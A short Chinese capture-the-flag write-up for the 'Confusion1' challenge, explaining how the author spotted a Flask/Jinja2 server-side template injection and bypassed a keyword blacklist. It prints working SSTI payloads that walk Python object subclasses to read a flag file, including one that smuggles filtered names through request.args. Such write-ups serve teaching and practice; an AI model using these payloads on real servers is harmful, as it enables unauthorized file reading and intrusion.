攻防世界Confusion1(PHP+Python引发的SSTI)
进入题目后发现一张图片“大象”+“蛇”
猜测可能是暗示我们该网页使用了PHP(大象)+Python(蛇),点击网页上的登陆按钮和注册按钮发现都是404,并且在网页源代码中发现了flag的位置。
其余发现没有,那只有一个可能,SSTI。为什么呢,因为暗示我们Python了呀。我们尝试在url地址后面进行payload构造,
果不其然,是SSTI漏洞,下面就按照SSTI的payload进行构造即可。
使用经典读取payload:''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()发现并没有成功,然后经过尝试发现过滤了class、 subclasses、 read等关键方法。
再次尝试:{{url_for.__globals__}}发现也不可以,看提示应该适合权限有关。
但是,他没有过滤request。request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。
所以我们构造如下payload:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
这种构造方式还是挺新颖的。
总结:SSTI其他姿势的payload。